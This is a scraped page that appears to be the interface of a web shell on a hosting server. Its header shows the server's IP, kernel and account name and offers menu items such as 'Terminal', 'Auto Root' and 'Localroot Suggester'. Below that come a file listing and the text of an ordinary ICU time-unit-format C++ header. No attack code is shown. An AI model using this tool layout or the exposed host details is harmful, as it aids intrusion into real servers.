Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
include /
unicode /
Delete
Unzip
Name
Size
Permission
Date
Action
alphaindex.h
25.29
KB
-rw-r--r--
2020-03-20 20:49
appendable.h
8.38
KB
-rw-r--r--
2020-03-20 20:49
basictz.h
8.77
KB
-rw-r--r--
2020-03-20 20:49
bms.h
8.68
KB
-rw-r--r--
2020-03-20 20:49
bmsearch.h
7.33
KB
-rw-r--r--
2020-03-20 20:49
brkiter.h
24.24
KB
-rw-r--r--
2020-03-20 20:49
bytestream.h
9.16
KB
-rw-r--r--
2020-03-20 20:49
bytestrie.h
19.19
KB
-rw-r--r--
2020-03-20 20:49
bytestriebuilder.h
6.73
KB
-rw-r--r--
2020-03-20 20:49
calendar.h
102.76
KB
-rw-r--r--
2020-03-20 20:49
caniter.h
7.23
KB
-rw-r--r--
2020-03-20 20:49
chariter.h
23.71
KB
-rw-r--r--
2020-03-20 20:49
choicfmt.h
27.82
KB
-rw-r--r--
2020-03-20 20:49
coleitr.h
12.69
KB
-rw-r--r--
2020-03-20 20:49
coll.h
53.44
KB
-rw-r--r--
2020-03-20 20:49
colldata.h
12.42
KB
-rw-r--r--
2020-03-20 20:49
curramt.h
3.57
KB
-rw-r--r--
2020-03-20 20:49
currpinf.h
6.93
KB
-rw-r--r--
2020-03-20 20:49
currunit.h
2.99
KB
-rw-r--r--
2020-03-20 20:49
datefmt.h
33.67
KB
-rw-r--r--
2020-03-20 20:49
dbbi.h
966
B
-rw-r--r--
2020-03-20 20:49
dcfmtsym.h
14.91
KB
-rw-r--r--
2020-03-20 20:49
decimfmt.h
97.38
KB
-rw-r--r--
2020-03-20 20:49
docmain.h
6.28
KB
-rw-r--r--
2020-03-20 20:49
dtfmtsym.h
30.27
KB
-rw-r--r--
2020-03-20 20:49
dtintrv.h
3.65
KB
-rw-r--r--
2020-03-20 20:49
dtitvfmt.h
39.24
KB
-rw-r--r--
2020-03-20 20:49
dtitvinf.h
18.56
KB
-rw-r--r--
2020-03-20 20:49
dtptngen.h
19.54
KB
-rw-r--r--
2020-03-20 20:49
dtrule.h
8.51
KB
-rw-r--r--
2020-03-20 20:49
enumset.h
1.8
KB
-rw-r--r--
2020-03-20 20:49
errorcode.h
4.67
KB
-rw-r--r--
2020-03-20 20:49
fieldpos.h
8.51
KB
-rw-r--r--
2020-03-20 20:49
fmtable.h
22.09
KB
-rw-r--r--
2020-03-20 20:49
format.h
12.33
KB
-rw-r--r--
2020-03-20 20:49
fpositer.h
2.97
KB
-rw-r--r--
2020-03-20 20:49
gender.h
3.02
KB
-rw-r--r--
2020-03-20 20:49
gregocal.h
33.28
KB
-rw-r--r--
2020-03-20 20:49
icudataver.h
990
B
-rw-r--r--
2020-03-20 20:49
icuplug.h
11.49
KB
-rw-r--r--
2020-03-20 20:49
idna.h
12.68
KB
-rw-r--r--
2020-03-20 20:49
listformatter.h
3.97
KB
-rw-r--r--
2020-03-20 20:49
localpointer.h
9.13
KB
-rw-r--r--
2020-03-20 20:49
locdspnm.h
7.14
KB
-rw-r--r--
2020-03-20 20:49
locid.h
30.48
KB
-rw-r--r--
2020-03-20 20:49
measfmt.h
1.94
KB
-rw-r--r--
2020-03-20 20:49
measunit.h
1.6
KB
-rw-r--r--
2020-03-20 20:49
measure.h
3.24
KB
-rw-r--r--
2020-03-20 20:49
messagepattern.h
33.6
KB
-rw-r--r--
2020-03-20 20:49
msgfmt.h
43.59
KB
-rw-r--r--
2020-03-20 20:49
normalizer2.h
28.34
KB
-rw-r--r--
2020-03-20 20:49
normlzr.h
29.26
KB
-rw-r--r--
2020-03-20 20:49
numfmt.h
43.59
KB
-rw-r--r--
2020-03-20 20:49
numsys.h
5.37
KB
-rw-r--r--
2020-03-20 20:49
parseerr.h
2.97
KB
-rw-r--r--
2020-03-20 20:49
parsepos.h
5.34
KB
-rw-r--r--
2020-03-20 20:49
platform.h
24.23
KB
-rw-r--r--
2020-03-20 20:49
plurfmt.h
24.58
KB
-rw-r--r--
2020-03-20 20:49
plurrule.h
14.56
KB
-rw-r--r--
2020-03-20 20:49
ptypes.h
3.36
KB
-rw-r--r--
2020-03-20 20:49
putil.h
5.61
KB
-rw-r--r--
2020-03-20 20:49
rbbi.h
29.15
KB
-rw-r--r--
2020-03-20 20:49
rbnf.h
45.32
KB
-rw-r--r--
2020-03-20 20:49
rbtz.h
15.33
KB
-rw-r--r--
2020-03-20 20:49
regex.h
83.1
KB
-rw-r--r--
2020-03-20 20:49
rep.h
9.33
KB
-rw-r--r--
2020-03-20 20:49
resbund.h
17.89
KB
-rw-r--r--
2020-03-20 20:49
schriter.h
6.15
KB
-rw-r--r--
2020-03-20 20:49
search.h
22.1
KB
-rw-r--r--
2020-03-20 20:49
selfmt.h
14.13
KB
-rw-r--r--
2020-03-20 20:49
simpletz.h
45.1
KB
-rw-r--r--
2020-03-20 20:49
smpdtfmt.h
57.58
KB
-rw-r--r--
2020-03-20 20:49
sortkey.h
10.98
KB
-rw-r--r--
2020-03-20 20:49
std_string.h
783
B
-rw-r--r--
2020-03-20 20:49
strenum.h
9.92
KB
-rw-r--r--
2020-03-20 20:49
stringpiece.h
6.38
KB
-rw-r--r--
2020-03-20 20:49
stringtriebuilder.h
14.75
KB
-rw-r--r--
2020-03-20 20:49
stsearch.h
21.76
KB
-rw-r--r--
2020-03-20 20:49
symtable.h
4.1
KB
-rw-r--r--
2020-03-20 20:49
tblcoll.h
34.23
KB
-rw-r--r--
2020-03-20 20:49
timezone.h
37.28
KB
-rw-r--r--
2020-03-20 20:49
tmunit.h
3.39
KB
-rw-r--r--
2020-03-20 20:49
tmutamt.h
4.69
KB
-rw-r--r--
2020-03-20 20:49
tmutfmt.h
8.51
KB
-rw-r--r--
2020-03-20 20:49
translit.h
53.76
KB
-rw-r--r--
2020-03-20 20:49
tzfmt.h
32.06
KB
-rw-r--r--
2020-03-20 20:49
tznames.h
14.83
KB
-rw-r--r--
2020-03-20 20:49
tzrule.h
35.21
KB
-rw-r--r--
2020-03-20 20:49
tztrans.h
5.96
KB
-rw-r--r--
2020-03-20 20:49
ubidi.h
88.57
KB
-rw-r--r--
2020-03-20 20:49
ubrk.h
19.13
KB
-rw-r--r--
2020-03-20 20:49
ucal.h
50.49
KB
-rw-r--r--
2020-03-20 20:49
ucasemap.h
16.45
KB
-rw-r--r--
2020-03-20 20:49
ucat.h
5.25
KB
-rw-r--r--
2020-03-20 20:49
uchar.h
115.43
KB
-rw-r--r--
2020-03-20 20:49
ucharstrie.h
20.8
KB
-rw-r--r--
2020-03-20 20:49
ucharstriebuilder.h
6.83
KB
-rw-r--r--
2020-03-20 20:49
uchriter.h
12.82
KB
-rw-r--r--
2020-03-20 20:49
uclean.h
10.38
KB
-rw-r--r--
2020-03-20 20:49
ucnv.h
82.6
KB
-rw-r--r--
2020-03-20 20:49
ucnv_cb.h
6.48
KB
-rw-r--r--
2020-03-20 20:49
ucnv_err.h
20.87
KB
-rw-r--r--
2020-03-20 20:49
ucnvsel.h
6.03
KB
-rw-r--r--
2020-03-20 20:49
ucol.h
57.93
KB
-rw-r--r--
2020-03-20 20:49
ucoleitr.h
12.25
KB
-rw-r--r--
2020-03-20 20:49
uconfig.h
10.79
KB
-rw-r--r--
2020-03-20 20:49
ucsdet.h
12.6
KB
-rw-r--r--
2020-03-20 20:49
ucurr.h
12.96
KB
-rw-r--r--
2020-03-20 20:49
udat.h
46.47
KB
-rw-r--r--
2020-03-20 20:49
udata.h
14.81
KB
-rw-r--r--
2020-03-20 20:49
udateintervalformat.h
6.5
KB
-rw-r--r--
2020-03-20 20:49
udatpg.h
23.24
KB
-rw-r--r--
2020-03-20 20:49
udisplaycontext.h
4.34
KB
-rw-r--r--
2020-03-20 20:49
uenum.h
7.79
KB
-rw-r--r--
2020-03-20 20:49
ugender.h
1.85
KB
-rw-r--r--
2020-03-20 20:49
uidna.h
32.81
KB
-rw-r--r--
2020-03-20 20:49
uiter.h
22.67
KB
-rw-r--r--
2020-03-20 20:49
uldnames.h
10.5
KB
-rw-r--r--
2020-03-20 20:49
uloc.h
44.07
KB
-rw-r--r--
2020-03-20 20:49
ulocdata.h
10.37
KB
-rw-r--r--
2020-03-20 20:49
umachine.h
10.23
KB
-rw-r--r--
2020-03-20 20:49
umisc.h
1.23
KB
-rw-r--r--
2020-03-20 20:49
umsg.h
24.12
KB
-rw-r--r--
2020-03-20 20:49
unifilt.h
3.52
KB
-rw-r--r--
2020-03-20 20:49
unifunct.h
3.87
KB
-rw-r--r--
2020-03-20 20:49
unimatch.h
5.93
KB
-rw-r--r--
2020-03-20 20:49
unirepl.h
3.21
KB
-rw-r--r--
2020-03-20 20:49
uniset.h
63.07
KB
-rw-r--r--
2020-03-20 20:49
unistr.h
164.33
KB
-rw-r--r--
2020-03-20 20:49
unorm.h
22.89
KB
-rw-r--r--
2020-03-20 20:49
unorm2.h
21.91
KB
-rw-r--r--
2020-03-20 20:49
unum.h
39.21
KB
-rw-r--r--
2020-03-20 20:49
uobject.h
12.21
KB
-rw-r--r--
2020-03-20 20:49
upluralrules.h
4.47
KB
-rw-r--r--
2020-03-20 20:49
uregex.h
71.47
KB
-rw-r--r--
2020-03-20 20:49
urename.h
120.88
KB
-rw-r--r--
2020-03-20 20:49
urep.h
5.27
KB
-rw-r--r--
2020-03-20 20:49
ures.h
35.92
KB
-rw-r--r--
2020-03-20 20:49
uscript.h
20.46
KB
-rw-r--r--
2020-03-20 20:49
usearch.h
36.09
KB
-rw-r--r--
2020-03-20 20:49
uset.h
39.45
KB
-rw-r--r--
2020-03-20 20:49
usetiter.h
9.38
KB
-rw-r--r--
2020-03-20 20:49
ushape.h
17.89
KB
-rw-r--r--
2020-03-20 20:49
uspoof.h
38.91
KB
-rw-r--r--
2020-03-20 20:49
usprep.h
8.02
KB
-rw-r--r--
2020-03-20 20:49
ustdio.h
37.05
KB
-rw-r--r--
2020-03-20 20:49
ustream.h
1.6
KB
-rw-r--r--
2020-03-20 20:49
ustring.h
73.01
KB
-rw-r--r--
2020-03-20 20:49
ustringtrie.h
3.04
KB
-rw-r--r--
2020-03-20 20:49
utext.h
57.97
KB
-rw-r--r--
2020-03-20 20:49
utf.h
7.64
KB
-rw-r--r--
2020-03-20 20:49
utf16.h
18.24
KB
-rw-r--r--
2020-03-20 20:49
utf32.h
653
B
-rw-r--r--
2020-03-20 20:49
utf8.h
23.02
KB
-rw-r--r--
2020-03-20 20:49
utf_old.h
42.5
KB
-rw-r--r--
2020-03-20 20:49
utmscale.h
13.37
KB
-rw-r--r--
2020-03-20 20:49
utrace.h
13.09
KB
-rw-r--r--
2020-03-20 20:49
utrans.h
23.08
KB
-rw-r--r--
2020-03-20 20:49
utypes.h
30.72
KB
-rw-r--r--
2020-03-20 20:49
uvernum.h
5.53
KB
-rw-r--r--
2020-03-20 20:49
uversion.h
6.29
KB
-rw-r--r--
2020-03-20 20:49
vtzone.h
20.09
KB
-rw-r--r--
2020-03-20 20:49
Save
Rename
/* ******************************************************************************* * Copyright (C) 2008-2012, Google, International Business Machines Corporation * and others. All Rights Reserved. ******************************************************************************* */ #ifndef __TMUTFMT_H__ #define __TMUTFMT_H__ #include "unicode/utypes.h" /** * \file * \brief C++ API: Format and parse duration in single time unit */ #if !UCONFIG_NO_FORMATTING #include "unicode/unistr.h" #include "unicode/tmunit.h" #include "unicode/tmutamt.h" #include "unicode/measfmt.h" #include "unicode/numfmt.h" #include "unicode/plurrule.h" /** * Constants for various styles. * There are 2 styles: full name and abbreviated name. * For example, for English, the full name for hour duration is "3 hours", * and the abbreviated name is "3 hrs". * @stable ICU 4.8 */ enum UTimeUnitFormatStyle { /** @stable ICU 4.8 */ UTMUTFMT_FULL_STYLE, /** @stable ICU 4.8 */ UTMUTFMT_ABBREVIATED_STYLE, /** @stable ICU 4.8 */ UTMUTFMT_FORMAT_STYLE_COUNT }; typedef enum UTimeUnitFormatStyle UTimeUnitFormatStyle; /**< @stable ICU 4.8 */ U_NAMESPACE_BEGIN class Hashtable; class UVector; /** * Format or parse a TimeUnitAmount, using plural rules for the units where available. * * <P> * Code Sample: * <pre> * // create time unit amount instance - a combination of Number and time unit * UErrorCode status = U_ZERO_ERROR; * TimeUnitAmount* source = new TimeUnitAmount(2, TimeUnit::UTIMEUNIT_YEAR, status); * // create time unit format instance * TimeUnitFormat* format = new TimeUnitFormat(Locale("en"), status); * // format a time unit amount * UnicodeString formatted; * Formattable formattable; * if (U_SUCCESS(status)) { * formattable.adoptObject(source); * formatted = ((Format*)format)->format(formattable, formatted, status); * Formattable result; * ((Format*)format)->parseObject(formatted, result, status); * if (U_SUCCESS(status)) { * assert (result == formattable); * } * } * </pre> * * <P> * @see TimeUnitAmount * @see TimeUnitFormat * @stable ICU 4.2 */ class U_I18N_API TimeUnitFormat: public MeasureFormat { public: /** * Create TimeUnitFormat with default locale, and full name style. * Use setLocale and/or setFormat to modify. * @stable ICU 4.2 */ TimeUnitFormat(UErrorCode& status); /** * Create TimeUnitFormat given locale, and full name style. * @stable ICU 4.2 */ TimeUnitFormat(const Locale& locale, UErrorCode& status); /** * Create TimeUnitFormat given locale and style. * @stable ICU 4.8 */ TimeUnitFormat(const Locale& locale, UTimeUnitFormatStyle style, UErrorCode& status); /** * Copy constructor. * @stable ICU 4.2 */ TimeUnitFormat(const TimeUnitFormat&); /** * deconstructor * @stable ICU 4.2 */ virtual ~TimeUnitFormat(); /** * Clone this Format object polymorphically. The caller owns the result and * should delete it when done. * @return A copy of the object. * @stable ICU 4.2 */ virtual Format* clone(void) const; /** * Assignment operator * @stable ICU 4.2 */ TimeUnitFormat& operator=(const TimeUnitFormat& other); /** * Return true if the given Format objects are semantically equal. Objects * of different subclasses are considered unequal. * @param other the object to be compared with. * @return true if the given Format objects are semantically equal. * @stable ICU 4.2 */ virtual UBool operator==(const Format& other) const; /** * Return true if the given Format objects are not semantically equal. * Objects of different subclasses are considered unequal. * @param other the object to be compared with. * @return true if the given Format objects are not semantically equal. * @stable ICU 4.2 */ UBool operator!=(const Format& other) const; /** * Set the locale used for formatting or parsing. * @param locale the locale to be set * @param status output param set to success/failure code on exit * @stable ICU 4.2 */ void setLocale(const Locale& locale, UErrorCode& status); /** * Set the number format used for formatting or parsing. * @param format the number formatter to be set * @param status output param set to success/failure code on exit * @stable ICU 4.2 */ void setNumberFormat(const NumberFormat& format, UErrorCode& status); using MeasureFormat::format; /** * Format a TimeUnitAmount. * If the formattable object is not a time unit amount object, * or the number in time unit amount is not a double type or long type * numeric, it returns a failing status: U_ILLEGAL_ARGUMENT_ERROR. * @see Format#format(const Formattable&, UnicodeString&, FieldPosition&, UErrorCode&) const * @stable ICU 4.2 */ virtual UnicodeString& format(const Formattable& obj, UnicodeString& toAppendTo, FieldPosition& pos, UErrorCode& status) const; /** * Parse a TimeUnitAmount. * @see Format#parseObject(const UnicodeString&, Formattable&, ParsePosition&) const; * @stable ICU 4.2 */ virtual void parseObject(const UnicodeString& source, Formattable& result, ParsePosition& pos) const; /** * Return the class ID for this class. This is useful only for comparing to * a return value from getDynamicClassID(). For example: * <pre> * . Base* polymorphic_pointer = createPolymorphicObject(); * . if (polymorphic_pointer->getDynamicClassID() == * . erived::getStaticClassID()) ... * </pre> * @return The class ID for all objects of this class. * @stable ICU 4.2 */ static UClassID U_EXPORT2 getStaticClassID(void); /** * Returns a unique class ID POLYMORPHICALLY. Pure virtual override. This * method is to implement a simple version of RTTI, since not all C++ * compilers support genuine RTTI. Polymorphic operator==() and clone() * methods call this method. * * @return The class ID for this object. All objects of a * given class have the same class ID. Objects of * other classes have different class IDs. * @stable ICU 4.2 */ virtual UClassID getDynamicClassID(void) const; private: NumberFormat* fNumberFormat; Locale fLocale; Hashtable* fTimeUnitToCountToPatterns[TimeUnit::UTIMEUNIT_FIELD_COUNT]; PluralRules* fPluralRules; UTimeUnitFormatStyle fStyle; void create(const Locale& locale, UTimeUnitFormatStyle style, UErrorCode& status); // it might actually be simpler to make them Decimal Formats later. // initialize all private data members void setup(UErrorCode& status); // initialize data member without fill in data for fTimeUnitToCountToPattern void initDataMembers(UErrorCode& status); // initialize fTimeUnitToCountToPatterns from current locale's resource. void readFromCurrentLocale(UTimeUnitFormatStyle style, const char* key, const UVector& pluralCounts, UErrorCode& status); // check completeness of fTimeUnitToCountToPatterns against all time units, // and all plural rules, fill in fallback as necessary. void checkConsistency(UTimeUnitFormatStyle style, const char* key, UErrorCode& status); // fill in fTimeUnitToCountToPatterns from locale fall-back chain void searchInLocaleChain(UTimeUnitFormatStyle style, const char* key, const char* localeName, TimeUnit::UTimeUnitFields field, const UnicodeString&, const char*, Hashtable*, UErrorCode&); // initialize hash table Hashtable* initHash(UErrorCode& status); // delete hash table void deleteHash(Hashtable* htable); // copy hash table void copyHash(const Hashtable* source, Hashtable* target, UErrorCode& status); // get time unit name, such as "year", from time unit field enum, such as // UTIMEUNIT_YEAR. static const char* getTimeUnitName(TimeUnit::UTimeUnitFields field, UErrorCode& status); }; inline UBool TimeUnitFormat::operator!=(const Format& other) const { return !operator==(other); } U_NAMESPACE_END #endif /* #if !UCONFIG_NO_FORMATTING */ #endif // __TMUTFMT_H__ //eof